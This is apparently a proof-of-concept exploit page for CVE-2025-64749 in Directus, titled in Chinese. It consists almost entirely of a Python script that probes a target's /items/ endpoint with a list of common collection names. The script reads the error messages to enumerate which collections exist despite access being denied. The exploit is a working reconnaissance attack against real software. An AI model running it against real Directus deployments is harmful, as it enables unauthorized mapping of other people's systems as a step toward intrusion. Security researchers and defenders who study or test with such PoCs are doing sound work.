CVE-2025-64749 Directus REST API信息泄露漏洞

import requests import sys # CVE-2025-64749 PoC - Directus Collection Enumeration # This PoC demonstrates the information disclosure vulnerability TARGET_URL = "http://target-directus-instance.com" # Replace with actual target URL # Common collection name patterns to test COMMON_COLLECTIONS = [ "users", "settings", "files", "roles", "permissions", "activity", "collections", "fields", "presets", "folders", "directus_collections", "directus_fields", "custom_collection" ] def check_collection_exists(collection_name, token=None): """ Send request to /items/{collection} endpoint Returns the error message from the response """ url = f"{TARGET_URL}/items/{collection_name}" headers = { "Content-Type": "application/json" } if token: headers["Authorization"] = f"Bearer {token}" try: response = requests.get(url, headers=headers, timeout=10) return response.json() except Exception as e: return {"error": str(e)} def analyze_error_message(response_data): """ Analyze error message to determine if collection exists The vulnerability allows distinguishing between: - Collection exists but user lacks permission - Collection does not exist """ error_msg = str(response_data).lower() # Check for signs of existing collection (permission denied) if "forbidden" in error_msg or "access denied" in error_msg or "permissions" in error_msg: return "EXISTS_NO_ACCESS" # Check for non-existing collection if "not found" in error_msg or "collection" not in error_msg: return "NOT_EXISTS" return "UNKNOWN" def main(): print(f"[*] CVE-2025-64749 PoC - Directus Collection Enumeration") print(f"[*] Target: {TARGET_URL}\n") discovered_collections = [] for collection in COMMON_COLLECTIONS: print(f"[*] Testing collection: {collection}") response = check_collection_exists(collection) result = analyze_error_message(response) if result == "EXISTS_NO_ACCESS": print(f" [+] Collection '{collection}' EXISTS (no access)") discovered_collections.append(collection) elif result == "NOT_EXISTS": print(f" [-] Collection '{collection}' does not exist") else: print(f" [?] Unknown response for '{collection}'") print(f"\n[*] Summary:") print(f" Discovered {len(discovered_collections)} collections:") for col in discovered_collections: print(f" - {col}") if __name__ == "__main__": main()